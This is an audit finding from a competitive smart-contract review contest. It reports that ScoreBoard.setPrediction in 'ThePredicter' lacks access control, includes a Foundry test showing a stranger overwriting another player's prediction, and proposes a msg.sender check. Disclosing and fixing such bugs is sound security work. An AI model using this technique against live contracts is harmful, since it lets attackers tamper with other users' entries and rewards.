Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Anyone can change other players' predictions

Summary

After a player makes a prediction for a match and pays the corresponding fee, they can update any paid prediction they made by calling ScoreBoard.setPrediction without paying an extra fee. However, the lack of input validation allows anyone to call ScoreBoard.setPrediction and update an existing player's prediction.

Vulnerability Details

According to the docs: "setPrediction ... can be called again by the Players to alter their predictions ...". However, anyone can call ScoreBoard.setPrediction and change the prediction made by an existing player. If this function is not called by ThePredicter.makePrediction but directly by another user, there is no check to validate that the msg.sender matches the player whose prediction is updated.

Impact

This issue breaks a critical functionality of the game, preventing players from winning rewards even if they make the correct prediction.

PoC

Add the following function to the unit-test ThePredicter.test.sol

function test_MissingCheckOnSetPrediction() public {
address stranger2 = makeAddr("stranger2");
vm.startPrank(stranger);
vm.deal(stranger, 0.0003 ether);
vm.stopPrank();
uint256 matchNumber = 0;
vm.warp(2);
vm.startPrank(organizer);
scoreBoard.setResult(matchNumber, ScoreBoard.Result.First);
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(matchNumber, ScoreBoard.Result.First);
vm.stopPrank();
// stranger2 changes the prediction of stranger
vm.startPrank(stranger2);
scoreBoard.setPrediction(stranger, matchNumber, ScoreBoard.Result.Second);
vm.stopPrank();
assertEq(scoreBoard.getPlayerScore(stranger), -1); // this should be 2 since stranger made the correct prediction ScoreBoard.Result.First for match 0
}

Tools Used

Manual code review.

Recommendations

Check the msg.sender when calling ScoreBoard.setPrediction

function setPrediction(
address player,
uint256 matchNumber,
Result result
) public {
+ if(msg.sender != address(thePredicter) && msg.sender != player) {
+ revert();
+ }
if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400)
playersPredictions[player].predictions[matchNumber] = result;
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (
playersPredictions[player].predictions[i] != Result.Pending &&
playersPredictions[player].isPaid[i]
) ++playersPredictions[player].predictionsCount;
}
}
Updates

Lead Judging Commences

NightHawK Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

setPrediction lacks access control

setPrediction has no access control and allows manipulation to Players' predictions.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.